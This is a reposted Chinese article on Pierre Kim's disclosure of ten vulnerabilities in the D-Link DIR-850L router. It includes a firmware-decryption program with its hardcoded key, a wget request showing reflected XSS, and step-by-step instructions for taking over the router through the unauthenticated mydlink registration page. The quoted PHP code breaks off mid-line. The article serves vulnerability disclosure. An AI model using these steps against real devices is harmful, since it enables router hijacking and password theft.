本文讲的是 在一款D-Link消费级路由器上,我发现了10个严重漏洞, 近期,信息安全研究员皮埃尔·金(Pierre·Kim)公开了D-Link DIR 850L消费级无线路由器存在的10个严重漏洞。admin 管理员组文章数量: 887007
此次公开的D-Link漏洞涉及多方面问题,如缺乏对固件映像的适当保护机制,意味着黑客可以向目标设备注入包含后门的恶意拷贝,以及D-Link私有的mydlink云协议中的漏洞。皮埃尔·金还发现了远程代码执行漏洞、默认密钥,以及DDoS(分布式拒绝服务攻击)风险。其他风险还包括跨站脚本攻击(XSS)、明文存储密码,以及LAN后门等。
皮埃尔·金总结:“D-Link 850L是一款设计糟糕的路由器,存在大量漏洞。从LAN到WAN,所有一切都存在问题。”
一、固件映像缺乏保护
Dlink 850 LrevA的最新固件(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)不受保护,黑客可以伪造最新固件的映像。
Dlink850LrevB的最新固件映像(DIR850LB1_FW207WWb05.bin、DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1FW208WWb02.bin)是带有硬编码密码。
以下是一个解密的固件映像的程序:
/*
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
*
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define USAGE "Usage: decimg <filename> <key>\n"
int main(int argc,
char **argv)
{
int i, fi;
int fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3)
{
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
if ((fi = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
const char *key = argv[2];
int kl = strlen(key);
i = 0;
while (1)
{
char buffer[4096];
int j, len;
len = read(fi, buffer, 4096);
if (len <= 0)
break;
for (j = 0; j < len; j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
}
write(fo, buffer, len);
i += len;
}
return (EXIT_SUCCESS);
}
你可以使用这个程序来解密固件映像:
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
593 0x251 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29
所以说,固件映像的保护是不存在的。
二、跨站脚本攻击(XSS)
只需通过分析/htdocs/web上的PHP文件,就可以发现一些易受攻击的XSS。
黑客可以使用XSS攻击,经过用户的身份验证,以便窃取身份验证cookie。
/htdocs/web/wpsacts.php:
user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php
<?xml version="1.0" encoding="utf-8"?>
<wpsreport>
<action><a></action>
<result></result>
<reason></reason>
</wpsreport>
user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
[..]
<wpsreport>
<action><?echo $_POST["action"];?></action>
[...]
/htdocs/web/shareport.php里的XSS:
[...]
<action><?echo $_POST["action"];?></action>
[...]
/htdocs/web/sitesurvey.php里的XSS:
[...]
<action><?echo $_POST["action"];?></action>
[...]
/htdocs/web/wandetect.php里的XSS:
[...]
<action><?echo $_POST["action"];?></action>
[...]
/htdocs/web/wpsacts.php里的XSS:
[...]
<action><?echo $_POST["action"];?></action>
[...]
三、mydlink云协议中的漏洞
黑客可以使用自定义的mydlink云协议获得完整的访问权限。
http://ip_of_router/register_send.php不检查用户的身份验证,因此黑客可以滥用此网页来获得对设备的控制,此网页用于将设备注册到myDlink云基础设施。
黑客将使用未经验证的/register_send.php网页来进行:
1.创建MyDlink云帐户;
2.在设备上注册这个账号;
3.将设备添加到这个帐户,这样设备将通过管理密码进入到云平台,同时这意味着密码以明文存储。
首先,黑客将使用Firefox50访问Dlink登录页https://www.mydlink/entrance,黑客会利用该网页远程控制设备(比如通过重新启动)。不过要注意的是,Firefox50要安装官方的DlinkNPAPI扩展。
其次,使用Firefox开发工具,黑客可以分析来自www.mydlink上的Dlinkapi的默认HTTP请求或响应。因为在默认情况下,Dlink云接口将在PUT请求的响应中泄漏设备的密码。仅仅通过看NPAPI插件的HTTP请求,api就可以在明文中找到设备的密码。
最后,NPAPI插件会自动建立一个路由器和Firefox浏览器之间的通道,这样,黑客就可以访问http://127.0.0.1:dynamicaly_generated_remote_port/控制远程路由器。流量将直接进入亚马逊服务器,然后到达远程Dlink路由器::
Firefox NPAPI client (http://127.0.0.1:remote_port/) -> Amazon -> Dlink 850L HTTP Interface.
黑客将使用来自Dlink api的legitHTTPS响应提供的前一个密码,并能够在路由器内登录。此时,黑客就完成了对路由器的完全控制。
这是通过在Amazon服务器上创建一个TCP通道的signalc程序(/mydlink/内部)实现的。
驻留在http://ip_of_router/register_send.php的PHP脚本,将充当黑客和远程Dlinkapi之间的代理,此页面还将检索密码(它存储在cleartext中)并将其发送到远程Dlink api。
151 $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password
152 $action = $_POST["act"]; of the device
密码将在设备的关联中发送(第三个请求:adddev)到Mydlink云服务(见&device_password=$devpasswd):
178 //sign up
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
182
183 $post_url_signup = "/signin/";
184
185 $action_signup = "signup";
186
187 //sign in
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
190
191 $post_url_signin = "/account/?signin";
192
193 $action_signin = "signin";
194
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
198
199 $post_url_adddev = "/account/?add";
200
201 $action_adddev = "adddev";
202
203 //main start
204 if($action == $action_signup) <---- first request
205 {
206 $post_s
版权声明:本文标题:在一款D-Link消费级路由器上,我发现了10个严重漏洞 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1726802146h1031151.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论